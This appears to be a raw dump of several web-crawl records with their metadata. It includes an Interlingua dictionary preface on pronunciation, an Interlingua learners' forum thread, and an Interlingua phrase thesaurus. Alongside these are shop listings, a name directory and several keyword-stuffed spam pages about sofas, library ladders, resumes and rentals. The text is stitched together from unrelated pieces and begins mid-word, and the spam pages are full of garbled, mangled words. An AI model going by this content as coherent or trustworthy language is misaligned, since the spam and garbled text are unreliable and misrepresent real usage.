-re preceded by a vowel have the stress on the third syllable from the end; e.g. fragile, ordine, tempore. In words formed with the suffixes -ic, -ica, -ico, -ide, -ido, -ula, and -ulo, the stress falls on the syllable preceding the suffix. The suffixes -ific, -ifico are stressed on the first i.\nDeviations from this system are covered in the Dictionary by respelling with stress marks; e.g. abbatia (-ía), formica (-íca), thermometro (-ó-).\nWhile syllabification may be handled according to derivation, usage in the source languages suggests that preference be given to syllabification according to pronunciation. This means that single consonants belong with the following syllable except for x which stays with the preceding syllable; e.g. ex-a-mi-na-tor. Consonant groups are divided with the important restriction that l and r cannot be separated from preceding b, c, ch, d, f, g, p, ph. t, th, and v; e.g. al-le-gre. The combinations qu, gu, and su are likewise indivisible.\nOrthographia e Pronunciation\nOrthographia es le forma scripte; pronunciation es forma parlate. In le vocabulario international, orthographia e pronunciation - como formas - representa le consenso del linguas del fonte. Ambes son governate per regulas de prototypo evolvite ex le variantes contribuente. Le systema resultante de orthographia usa le vinti-sex litteras conventional del alphabeto roman sin special signos diacritic o marcas de accento. Le norma de pronunciation es, parlante generalmente, \"continental\". Su valores son elastic in limites de typos, o expresse technicamente, illo permitte variationes phonetic de sonos non solmente sub le influentia de sonos vicin sed etiam como un effecto del native habitudes de parlar de individuos de varie fundos lingual.\nLe parlator de anglese debe evitar su tendentia a merger omne vocalos nonaccentuate in le sono neutral de a in China. Su normal pronunciation native de b, d, f, k, l, m, p, ph, qu, v, w e z son in accordo con le norma international. Omne altere symbolos e sonos son tabulate in infra.\na como a in 'father'; c ante e, i, y como ts in 'hats' (o, optionalmente, como 'c in city'); alteremente como c in 'cats'; ch como ch in 'echo, chrome';e como e in 'met';g como g in 'good';h como in anglese (o, optionalmente, silente); post r e t, silente;i como like i in 'machine'; quando non-accentuate ante un vocalo, como i in 'onion' o in 'phobia'; e.g. bile, biliose, varie;j como z in 'azure' (o, optionalmente, como g in 'gem' o comoy in 'yes');o como o in 'obey';r como rr in 'merry' o, melio, como r in espaniol 'caro';s como s in 'stay'; inter vocalos, le mesme (o, optionalmente, como s in 'these'); e.g. sparse, abstruse, accusativo;t como in anglese; ti ante vocalos, salvo accentuate o precesse per s, como tsy in 'he gets you' (o, optionalmente, como sy in 'we pass you' o como ty in 'we let you'); e.g. actor, action, garantia, question;\nu como u in 'plural'; quando non-accentuate ante un vocalo, como u in 'persuade' o in 'superfluous'; e.g. plural, persuader, superflue; x como x in fox; inter vocalos, le mesme, (o, optionalmente, como x in exact);y non-accentuate ante vocalos como y in 'yes'; alteremente como i in 'machine'; e.g. Yugoslavia, typo.\nPronunciationes que devia de iste normas son indicate in le Dictionario per un simple systema de rescriptura. In illo le normal valores de sonos del interlingua son assumpte. Le diagrapho ch corresponde frequentemente le sono sh in anglese e ha essite rescripte como sh; e.g. choc (sh-). Le combination gi sovente representa le sono z in azure. Illo ha essite rescripte con j; e.g. avantagiose (-ajo-). Simple g ha iste sono e hinc isto es rescripte in le suffixo -age; e.g. avantage (-aje).\nLe diphthongo eu sta pro un combination del normal sonos de interlingua de e e u. Similarmente, ai sta pro a plus i como in kaiser; au pro a plus u como in kraut. - Le consonantes duple non debe esser distinguite in pronunciation de consonantes simple. - Le consonante duple ss, totevia, es semper aphonic como ss in 'miss.' Le sonos de g e k assimila un n precedente como in anglese.\nParolas prestate non-assimilate, il es, parolas estranie o prestate que son identificate in le Dictionario re lor\norigine, retene le pronunciation e orthographia del lingua original. Le original signos diacritic son omisse quando le linguas que ha prestate tal parolas etiam dispense con illos. Illos face lo quando le resultante orthographia simplificate suffice a suggerer le pronunciation intente; e.g. defaite pro francese d´faite, sed kümmel como in germano.\nLe accento principal es normalmente super le vocalo ante le ultime consonante. Parolas que se termina con -le, -ne, -re e son precesse per un vocalo ha le accento super le tertie syllaba ab le fin; e.g. fragile, ordine, tempore. In parolas que son formate con le suffixos -ic, -ica, -ico, -ide, -ido, -ula e -ulo, le accento es super le syllaba precedente le suffixo. Le suffixos -ific, -ifico son accentuate super le prime i.\nDeviationes de iste systema con coperite in le Dictionario per rescriptura con marcas de accento; e.g. abbatia (-ía), formica (-íca), thermometro (-ó-).\nQuando syllabification pote esser tractate in\naccordo de derivation, usage in le linguas\ndel fonte suggere que preferentia es date a\nsyllabification in accordo de pronunciation.\nIsto significa que consonantes singule pertine al\nsyllaba sequente salvo pro x que sta con le syllaba precedente; e.g. ex-a-mi-na-tor.\nGruppos de consonantes son divise ab\nprecedente b, c, ch, d, f, g, p, ph. t, th, e v; e.g. al-le-gre. Le combinationes qu, gu, e su son\nequalmente indivisibile.\nTraduction in 1995 a interlingua: Karel Wilgenhof, Pais Basse\nContributiones ulterior per Piet Cleij, Pais Basse e Bent Andersen, Danmark.\nActualisate le 2012-01-21\nAdministrator de iste sito:\n-------------\nAllan Kiviaho\nSILY - Suomen Interlinguayhdistys ry.\nFILF - Föreningen för Interlingua i Finland\nAFIL - Association Finlandese pro Interlingua","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.interlingua.fi\/iedpref.htm","date":"2013-05-25T12:49:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705953421\/warc\/CC-MAIN-20130516120553-00058-ip-10-60-113-184.ec2.internal.warc.gz","language":"ina","language_score":0.8345502615,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8345502614974976, \"eng_Latn_score\": 0.1253957748413086}","num_words":50502,"character_repetition_ratio":0.071,"word_repetition_ratio":0.025,"special_characters_ratio":0.181,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.825,"perplexity_score":1728.0,"cluster_detection":-1} +{"text":"DelPonte scribeva:Gratias pro le critica.\nIo ha scribite toto multo rapide e non ha controllate le orthographia tanto a fundo como io poterea facer... Isto es correcte. Io usa le lector Google Chrome. Sed por scriber textos io pote anque usar un altere programma como per exemplo Libre Office, e plus tarde copiar les in le Chrome. Io investigara se existe un corrector por Interlingua por LibreOffice.\nIo non sape que methodo es le plus bon por apprender Interlingua. Il me pare que un methodo possibile es scriber textos in iste foro e ganar sapientia e experientia del commentos que illes evoca.\nLe disavantage es que on scribe articulos que disturbe alicun lectores de iste foro porque illes les trova pauco interessante.\nSi io scribe plus textos, in que loco io debe poner los por ne disturbar plus que necessari e por non inutilemente occupar spatio de valor?\nDelPonte scribeva:Gratias pro le critica. Io ha scribite toto multo rapide e non ha controllate le orthographia tanto a fundo como io poterea facer... Isto es correcte. Io usa le lector Google Chrome. Sed por scriber textos io pote anque usar un altere programma como per exemplo Libre Office, e plus tarde copiar les (los) in le Chrome. Io investigara se (si) existe un corrector por Interlingua por LibreOffice.\nIo non sape que methodo es le plus bon por apprender Interlingua. Il me pare que un methodo possibile es scriber textos in iste foro e ganar (ganiar) sapientia e experientia del commentos que illes (illos) evoca. Le disavantage es que on scribe articulos que disturbe (disturba) alicun lectores de iste foro porque illes les trova pauco interessante.\nSi io scribe plus textos, in que loco io debe poner los por ne (non\/no) disturbar plus que necessari e por non inutilemente occupar spatio de valor?\nHa tu anque un dictionario electronic? Un tal face le processo de scriber multo plus facile.\nIo mesme usa Babylon.\ncarlos soreto scribeva:Infelicemente, e debite al ineptia...\nDelPonte scribeva:Multe errores, como confusion de a\/e\/i in verbos pote esser pote esser trovate.\nDelPonte scribeva:\nIo nunc ha installate Firefox e isto functiona sin problemas con corrector. E ultra isto, anque LibreOffice functiona sin problemas.\nLaurentio scribeva:... como tu ha facite functionar le corrector pro LibreOffice?\nUsatores qui lege iste foro: Nulle usatores registrate e 1 visitante","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/interforo.org\/viewtopic.php?f=15&t=26151&p=49762&sid=b6659021dadaa04c05bbc7e6a4c7c705","date":"2017-04-23T19:47:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118743.41\/warc\/CC-MAIN-20170423031158-00260-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.9999797344,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.9999797344207764}","num_words":475,"character_repetition_ratio":0.062,"word_repetition_ratio":0.438,"special_characters_ratio":0.192,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":1366.5,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite carrelli elevatori » Aste per le vendite carrelli elevatoriAste per le vendite macchine da magazzino » Aste per le vendite carrelli elevatori LONKINGAste per le vendite CATERPILLARAste per le vendite HYSTERAste per le vendite JCBAste per le vendite KALMARAste per le vendite LINDEAste per le vendite MANITOUAste per le vendite MITSUBISHIAste per le vendite STILLAste per le vendite TOYOTAAste per le vendite YALE","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/autoline-eu.it\/-\/Aste\/carrelli-elevatori\/LONKING--a5c396tm4068","date":"2017-10-16T21:54:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187820466.2\/warc\/CC-MAIN-20171016214209-20171016234209-00149.warc.gz","language":"ina","language_score":0.6685162187,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.668516218662262, \"nap_Latn_score\": 0.12590810656547546, \"ita_Latn_score\": 0.08119566738605499, \"frp_Latn_score\": 0.07524356245994568, \"lmo_Latn_score\": 0.02480972371995449, \"bew_Latn_score\": 0.011386112309992313}","num_words":134,"character_repetition_ratio":0.391,"word_repetition_ratio":0.04,"special_characters_ratio":0.166,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.886,"perplexity_score":3056.6,"cluster_detection":-1} +{"text":"Pochette con catena Made in Italy, Le solim\nBauletto piccolo con tracolla MADE IN ITALY-MARCHIO 3rd Floor\nShopper con manici a spalla MADE IN ITALY-MARCHIO Le Solim\nBorsa a mano Le Solim Made in Italy\nPochette con tracolla MADE IN ITALY - Marchio 3rd Floor\nTracolla media MADE IN ITALY-MARCHIO 3rd Floor\nPochette MADE IN ITALY - MARCHIO 3rd Floor\nPochette con tracolla removibile Le solim, Made in Italy\nPochette con catena Made in Italy, Le solim Pochette con catena Made in Italy, Le...\nPochette con tracolla removibile Le solim, Made in Italy Pochette con tracolla removibile Le...","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.lesolim.com\/new-products","date":"2018-04-21T13:01:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945222.55\/warc\/CC-MAIN-20180421125711-20180421145711-00057.warc.gz","language":"ina","language_score":0.3069052398,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.30690523982048035, \"ita_Latn_score\": 0.21417652070522308, \"nap_Latn_score\": 0.1318356990814209, \"srd_Latn_score\": 0.08694267272949219, \"vec_Latn_score\": 0.03786227107048035, \"eng_Latn_score\": 0.02574830688536167, \"ile_Latn_score\": 0.020590808242559433, \"spa_Latn_score\": 0.01852664351463318, \"dag_Latn_score\": 0.017095619812607765, \"lmo_Latn_score\": 0.01618349924683571, \"kiu_Latn_score\": 0.011692477390170097}","num_words":178,"character_repetition_ratio":0.17,"word_repetition_ratio":0.201,"special_characters_ratio":0.2,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":0.23,"perplexity_score":7495.8,"cluster_detection":-1} +{"text":"Disenos De Casas : Como Decorar Un Jardin Seco was posted August 26, 2018 at 8:21 pm by austin gabrielle the large image below has 98 KB. Como Decorar Un Jardin Seco was viewed in 20 time. please check out other Disenos De Casas ideas There are 10 photos with image\/jpg File type Tagged : como decorar un jardin con flamencos como decorar un jardin con piedras como decorar un jardin con poco dinero como decorar un jardin con reciclaje\nDisenos De Casas : Como Decorar Un Jardin was posted June 30, 2018 at 7:26 pm by austin gabrielle the large image below has 72 KB. Como Decorar Un Jardin was viewed in 23 time. please check out other Disenos De Casas ideas There are 10 photos with image\/jpg File type Tagged : como decorar un jardin como decorar un jardin con flamencos como decorar un jardin con piedras como decorar un jardin con poco dinero como decorar un jardin con reciclaje como decorar un jardin en la parte de atras como decorar un jardin en merida yucatan como decorar un jardin enfrente de mi porche como decorar un jardin pequeno con decoracion","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/nano-k.org\/tag\/como-decorar-un-jardin-con-piedras\/","date":"2018-10-23T00:55:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515564.94\/warc\/CC-MAIN-20181023002817-20181023024317-00372.warc.gz","language":"ina","language_score":0.6486700773,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"ina_Latn_score\": 0.6486700773239136, \"spa_Latn_score\": 0.16640928387641907, \"cbk_Latn_score\": 0.09028590470552444, \"pcm_Latn_score\": 0.012011105194687843}","num_words":287,"character_repetition_ratio":0.23,"word_repetition_ratio":0.568,"special_characters_ratio":0.223,"stopwords_ratio":0.035,"flagged_words_ratio":0.0,"lang_id_score":0.719,"perplexity_score":3951.9,"cluster_detection":-1} +{"text":"echelle de bibliotheque bibliothaque atagare achelle industriel echelle pour bibliotheque ikea.\nechelle de bibliotheque echelle bibliotheque coulissante bois.\nechelle de bibliotheque grande bibliothaque 249 cm de haut et 346 cm de long en acpicaca massif avec acchelle de bibliothaque pour un accas aisac aux ouvrages echelle de bibliotheque alu.\nechelle de bibliotheque jean prouvac acchelle de bibliothaque echelle de bibliotheque ikea.\nechelle de bibliotheque bibliothaque echelle belle epoque hacvaca meuble style classique echelle pour bibliotheque en bois.\nechelle de bibliotheque bibliothaque 2 corps 6 portes alix racalisace en chane massif de style directoire avec echelle echelle bibliotheque bois.\nechelle de bibliotheque meuble bibliothaque dacclinac en 24 exemplaires design superbe meuble bibliothaque avec acchelle echelle de bibliotheque metal.\nechelle de bibliotheque navigation articles echelle de bibliotheque alu.\nechelle de bibliotheque echelle de bibliotheque metal.\nechelle de bibliotheque etagare bibliothaque acchelle bois echelle sur rail pour bibliotheque.\nechelle de bibliotheque bibliothaque contemporaine en bois avec acchelle intacgrace nivo echelle bibliotheque coulissante bois.\nechelle de bibliotheque bibliotheque echelle echelle de bibliotheque en bois.\nechelle de bibliotheque bibliothaque avec acchelle echelle bibliotheque coulissante bois.\nechelle de bibliotheque achelle de bibliothaque dacco en chane massif versailles echelle de bibliotheque inox.\nechelle de bibliotheque quelques idaces pour une bibliothaque maison moderne bibliotheque design echelle echelle bibliotheque coulissante bois.\nechelle de bibliotheque inganieux ancien escabeau de peintre acchelle pour bibliothaque echelle bibliotheque bois.\nechelle de bibliotheque bibliothaque atelier avec acchelle en mactal marron et bois cacrusac naturel 160x45x243cm echelle de bibliotheque ancienne.\nechelle de bibliotheque echelle de bibliothaque faclix monge echelle de bibliotheque ancienne.\nechelle de bibliotheque conception echelle sur rail pour bibliotheque.\nechelle de bibliotheque echelle sur rail pour bibliotheque.\nechelle de bibliotheque echelle bibliotheque sur rail.\nechelle de bibliotheque echelle bibliothaque ha design jocelyn deris sur lacorbeillefr echelle pour bibliotheque en bois.\nechelle de bibliotheque echelle de bibliotheque fabulous furniture makeovers echelle bibliotheque bois echelle de bibliotheque en bois.\nechelle de bibliotheque bibliothaque acchelle elise echelle bibliotheque inox.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/sundaythemes.co\/echelle-de-bibliotheque\/","date":"2018-10-17T16:27:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511203.16\/warc\/CC-MAIN-20181017153433-20181017174933-00063.warc.gz","language":"ina","language_score":0.6281778216,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6281778216362, \"fra_Latn_score\": 0.13467180728912354, \"lat_Latn_score\": 0.059863511472940445, \"gsw_Latn_score\": 0.03953948989510536, \"nhg_Latn_score\": 0.036871131509542465, \"frp_Latn_score\": 0.012973539531230927, \"nov_Latn_score\": 0.011493360623717308, \"nrm_Latn_score\": 0.010699287988245487}","num_words":718,"character_repetition_ratio":0.37,"word_repetition_ratio":0.241,"special_characters_ratio":0.145,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":0.628,"perplexity_score":9345.9,"cluster_detection":-1} +{"text":"un exemple de resume simple simple pour exemple de resume simple.\nexemple de resume simple word gisco curriculum vitae modele,modele de curriculum vitae simple exemple resume,exemple de curriculum vitae simple resume modele,exemple de resume simple curriculum vitae modele travail mole word,mole simple modele de curriculum vitae exemple resume,exemple de curriculum vitae simple resume unique objective for a new modele,pizza monparfait exemple de curriculum vitae simple resume modele,exemple de curriculum vitae simple startups against modele resume,exemple de resume simple dun modele curriculum vitae,exemple de curriculum vitae simple modele resume.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/abou.info\/un-exemple-de-resume-simple\/un-exemple-de-resume-simple-simple-pour-exemple-de-resume-simple\/","date":"2018-10-23T18:09:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516892.84\/warc\/CC-MAIN-20181023174507-20181023200007-00335.warc.gz","language":"ina","language_score":0.315385133,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3153851330280304, \"lat_Latn_score\": 0.27933669090270996, \"fra_Latn_score\": 0.12209209054708481, \"sco_Latn_score\": 0.08038369566202164, \"ron_Latn_score\": 0.03195097669959068, \"oci_Latn_score\": 0.02354525402188301, \"cat_Latn_score\": 0.02084130235016346, \"eng_Latn_score\": 0.012834003195166588, \"nrm_Latn_score\": 0.012418263591825962, \"por_Latn_score\": 0.010858329012989998}","num_words":160,"character_repetition_ratio":0.245,"word_repetition_ratio":0.132,"special_characters_ratio":0.15,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":0.315,"perplexity_score":3728.7,"cluster_detection":-1} +{"text":"Le bon coin marseille location appartement\nSource google image: http:\/\/www.location-appartement-marseille-centre.fr\/images\/chambre.jpg\nRelated posts:\nLocation appartement reims particulier Le bon coin lyon appartement Le bon coin toulouse appartement Le bon coin marseille meubles Le bon coin location 07 Location appartement marseille 13008 le bon coin Location marseille le bon coin Bon coin location marseille Le bon coin 49 location appartement Le bon coin 49 location appartement Le bon coin 87 location appartement Le bon coin 87 location appartement Le bon coin 92 location appartement Le bon coin location appartement 78 Le bon coin 49 location appartement Le bon coin location appartement reims Location appartement perpignan le bon coin Location appartement lunéville le bon coin Location appartement lunéville le bon coin Le bon coin location appartement nimes Location appartement rodez le bon coin Le bon coin location appartement angers Bon coin location appartement lyon Location appartement rodez le bon coin Le bon coin angouleme location appartement Location appartement la valette du var le bon coin Le bon coin bordeaux location appartement Le bon coin location appartement lille Location appartement grenoble le bon coin Location appartement bourges le bon coin","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.coursenaturelarbresle.fr\/le-bon-coin-marseille-location-appartement\/","date":"2019-03-24T02:27:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203168.70\/warc\/CC-MAIN-20190324022143-20190324044143-00329.warc.gz","language":"ina","language_score":0.3662890494,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.36628904938697815, \"fra_Latn_score\": 0.17744137346744537, \"tcz_Latn_score\": 0.13849924504756927, \"mfe_Latn_score\": 0.05454609915614128, \"atj_Latn_score\": 0.0371025949716568, \"oci_Latn_score\": 0.01846919022500515, \"zom_Latn_score\": 0.017049362882971764, \"sco_Latn_score\": 0.015089004300534725, \"ewo_Latn_score\": 0.01426977850496769, \"gul_Latn_score\": 0.01426377147436142, \"chk_Latn_score\": 0.012661066837608814, \"frp_Latn_score\": 0.010826718993484974}","num_words":338,"character_repetition_ratio":0.367,"word_repetition_ratio":0.264,"special_characters_ratio":0.171,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":0.282,"perplexity_score":7305.7,"cluster_detection":-1} +{"text":"e schillig flex plus flex plus flex plus sofa brand flex plus ewald schillig flex plus preisliste.\ne schillig flex plus courage flex plus brand flex plus in flex plus courage ewald schillig flexplus leder.\ne schillig flex plus ewald schillig flex plus typenplan.\ne schillig flex plus flex plus e sofa interesting details e with ewald schillig flex plus.\ne schillig flex plus best sofa images on martin d angle ewald schillig flex plus typenplan.\ne schillig flex plus flex plus sofa set brand ewald schillig flex plus typenplan.\ne schillig flex plus flex plus designer leather sofa grey three seat couch flex plus ewald schillig leder l140.\ne schillig flex plus sofa sofa flex plus flex plus ewald schillig leder l140.\ne schillig flex plus sofa leather sofas a how to moon designer sofa black leather couch three seat brand sofa ewald schillig flexplus konfigurator.\ne schillig flex plus ewald schillig flex plus.\ne schillig flex plus blues espresso flex plus flex plus brand schilling mo sofa blues butterfly brand flex plus ewald schillig leder l140.\ne schillig flex plus flex plus e designer 0 fa 1 4 r sofa sofa ewald schillig brand flex plus.\ne schillig flex plus sofa marvelous black contemporary artistic metal frame flex plus sofas face schillig flex plus leder.\ne schillig flex plus in home improvement license ewald schillig flex plus preise.\ne schillig flex plus sofa e gladiola sofa brand sofa gladiola sofa ewald schillig flex plus preise.\ne schillig flex plus zoom sofa outlet zoom schillig flex plus.\ne schillig flex plus ewald schillig flex plus hocker.\ne schillig flex plus flex plus flex plus brand flex plus e blues schillig flex plus.\ne schillig flex plus excellent designer with schillig flex plus leder.\ne schillig flex plus flex plus flex plus unique wallpaper photographs flex plus flex plus ewald schillig flex plus.\ne schillig flex plus courage flex plus 7 e courage schillig flex plus typenplan.\ne schillig flex plus flex plus sofa with blues inside measurements x ewald schillig flexplus konfigurator.\ne schillig flex plus face flex plus fa 1 4 r face mega face ewald schillig flex plus typenplan.\ne schillig flex plus flex plus sofa flex plus blues face schilling e blues schillig flex plus leder.\ne schillig flex plus flex plus jump w sofa face flex plus ewald schillig flex plus typenplan.\ne schillig flex plus flex plus e sofa e brand flex plus w prices flex plus ewald schillig flex plus sessel.\ne schillig flex plus courage flex plus flex plus courage courage flex plus ewald schillig flex plus preisliste.\ne schillig flex plus flex plus designer leather sofa footstool set grey three seat for sale ewald schillig flex plus preise.\ne schillig flex plus concept plus concept plus affordable sofa u in with flex plus concept plus ewald schillig flex plus hocker.\ne schillig flex plus flex plus flex plus blues designer sofa couch flex plus ewald schillig flexplus leder.\ne schillig flex plus concept plus concept plus selection plus ewald schillig flex plus preisliste.\ne schillig flex plus sofa flex plus ewald schillig flex plus preisliste.\ne schillig flex plus courage flex plus sofa best of hi res wallpaper photos flex plus e ewald schillig flex plus typenplan.\ne schillig flex plus schillig flex plus leder.\ne schillig flex plus e 3 schillig flex plus sessel.\ne schillig flex plus ewald schillig flex plus leder preise.\ne schillig flex plus e 2 ewald schillig flex plus preise.\ne schillig flex plus concept plus face flex plus concept plus schillig flex plus.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/nasrdenver.org\/e-schillig-flex-plus\/","date":"2019-05-20T02:30:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255536.6\/warc\/CC-MAIN-20190520021654-20190520043654-00135.warc.gz","language":"ina","language_score":0.4282003939,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4282003939151764, \"pcm_Latn_score\": 0.20670317113399506, \"gmh_Latn_score\": 0.08003179728984833, \"ang_Latn_score\": 0.03467736393213272, \"nld_Latn_score\": 0.028779488056898117, \"ile_Latn_score\": 0.022717546671628952, \"vls_Latn_score\": 0.020845312625169754, \"roh_Latn_score\": 0.020725682377815247, \"lat_Latn_score\": 0.020585615187883377, \"vol_Latn_score\": 0.01885073632001877, \"eng_Latn_score\": 0.017530111595988274, \"srn_Latn_score\": 0.013809720985591412}","num_words":1095,"character_repetition_ratio":0.408,"word_repetition_ratio":0.407,"special_characters_ratio":0.187,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.428,"perplexity_score":9349.0,"cluster_detection":-1} +{"text":"aurelio briones aurelio brito aurelio brown aurelio bruciatelli aurelio cabanez aurelio cabestrero aurelio cabrera aurelio cadena aurelio calicchia aurelio calixto aurelio callope aurelio campo aurelio campos aurelio candanedo aurelio candanel aurelio caparas aurelio carbajal aurelio cardenas aurelio carinci aurelio carmenates aurelio carrera aurelio carro aurelio casanas aurelio casiano aurelio casillas aurelio castaneda aurelio castillo aurelio castrellon aurelio castro aurelio cavazos aurelio cecchini aurelio cerdas aurelio cervera aurelio chalaco aurelio chan aurelio chapa aurelio chaux aurelio chavez aurelio cicard aurelio cisneros aurelio colon aurelio colotl aurelio comacho aurelio compos aurelio consueg aurelio contreras aurelio cornejo aurelio corona aurelio coronel aurelio cortes aurelio cortez aurelio cosme aurelio cpa aurelio cruz aurelio cuervo aurelio curbelo ruiz aurelio damico aurelio dandrea aurelio danese aurelio daniele aurelio davila aurelio deguzman aurelio del carmen aurelio del muro aurelio delatorre aurelio delavega aurelio deleon aurelio delgade aurelio delgado aurelio deliz aurelio delpino aurelio depina aurelio diaz aurelio dibenedetto aurelio diez aurelio do aurelio doetsch aurelio drillana aurelio duenas aurelio dupitas aurelio duque aurelio duran aurelio durana","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.bizshark.com\/directory\/people\/aurelio-briones_aurelio-durana","date":"2020-01-19T21:28:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250595282.35\/warc\/CC-MAIN-20200119205448-20200119233448-00123.warc.gz","language":"ina","language_score":0.9445850253,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9445850253105164, \"fra_Latn_score\": 0.02112915925681591, \"lat_Latn_score\": 0.015400429256260395}","num_words":366,"character_repetition_ratio":0.226,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.945,"perplexity_score":39248.1,"cluster_detection":-1} +{"text":"Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z suModificar su su abnegation es admirabileModificar su abnegation es admirabile su actiones non concorda con su parolasModificar su actiones non concorda con su parolas su allegressa ha durate paucoModificar su allegressa ha durate pauco su allegressa ha durate pocoModificar su allegressa ha durate poco su ambition es insatiabileModificar su ambition es insatiabile su angulo de predilectionModificar su angulo de predilection su argumentation es irrefutabileModificar su argumentation es irrefutabile su ascendente super illaModificar su ascendente super illa su attitude actual es le confirmation de lo que nos habeva supponiteModificar su attitude actual es le confirmation de lo que nos habeva supponite su attitude actual es le confirmation de lo que nos habeva supponitesu attitude actual es le confirmation de lo que nos habeva supponiteModificar su attitude actual es le confirmation de lo que nos habeva supponitesu attitude actual es le confirmation de lo que nos habeva supponite su attitude actual es le confirmation de lo que nos habeva supponiteModificar su attitude actual es le confirmation de lo que nos habeva supponite su attitude me exasperaModificar su attitude me exaspera su auto(mobile) exhalava le ultime suspiroModificar su auto(mobile) exhalava le ultime suspiro su bagage scientific es quasi nulleModificar su bagage scientific es quasi nulle su bibliotheca es sacrosancte pro illeModificar su bibliotheca es sacrosancte pro ille su bibliotheca es su sanctuarioModificar su bibliotheca es su sanctuario su calceos craccaModificar su calceos cracca su capacitate de relativisarModificar su capacitate de relativisar su casa es un ver palatioModificar su casa es un ver palatio su chances se multiplicaModificar su chances se multiplica su color preferite es blauModificar su color preferite es blau su compania es multo recercateModificar su compania es multo recercate su comportamento es inadmissibileModificar su comportamento es inadmissibile su comportamento es inexcusabileModificar su comportamento es inexcusabile su comportamento es inqualificabileModificar su comportamento es inqualificabile su comportamento es scandaloseModificar su comportamento es scandalose su comportamento ha indignate totesModificar su comportamento ha indignate totes su comportamento incontrolabileModificar su comportamento incontrolabile su comportamento me displaceModificar su comportamento me displace su comportamento non me surprendeModificar su comportamento non me surprende su comportamento nos es supportabileModificar su comportamento nos es supportabile su conducta circumspecteModificar su conducta circumspecte su conducta es inexcusabileModificar su conducta es inexcusabile su conducta es inqualificabileModificar su conducta es inqualificabile su conducta es scandaloseModificar su conducta es scandalose su conducta ha indignate totesModificar su conducta ha indignate totes su conducta incontrolabileModificar su conducta incontrolabile su conducta non es approbabileModificar su conducta non es approbabile su conducta non me surprendeModificar su conducta non me surprende su conducta nos es supportabileModificar su conducta nos es supportabile su confidentia es impressiveModificar su confidentia es impressive su confidentia in se ipse es impressiveModificar su confidentia in se ipse es impressive su corde batte de gaudioModificar su corde batte de gaudio su corde batte de joiaModificar su corde batte de joia su corde saltava de allegressaModificar su corde saltava de allegressa su crito sonava in tote le casaModificar su crito sonava in tote le casa su digito suppuraModificar su digito suppura su dimission ha essite nullificateModificar su dimission ha essite nullificate su direction indisputateModificar su direction indisputate su distraction es proverbialModificar su distraction es proverbial su dolor confina con al desperoModificar su dolor confina con al despero su dolor confina con le desperoModificar su dolor confina con le despero su empleo le nauseaModificar su empleo le nausea su errores de juventuteModificar su errores de juventute su errores esseva legionModificar su errores esseva legion su explanation del eventosModificar su explanation del eventos su fama eclipsava le de su collegaModificar su fama eclipsava le de su collega su fortias non esseva proportionate a su voluntateModificar su fortias non esseva proportionate a su voluntate su funerales esseva strictemente privateModificar su funerales esseva strictemente private su futuro es assecurateModificar su futuro es assecurate su generositate me ha avergoniateModificar su generositate me ha avergoniate su gloria montaModificar su gloria monta su honor remaneva intacteModificar su honor remaneva intacte su imagination galopaModificar su imagination galopa su imagination galopasu imagination galopaModificar su imagination galopasu imagination galopa su imprudentia le expone a multe periculosModificar su imprudentia le expone a multe periculos su inexperientia del vitaModificar su 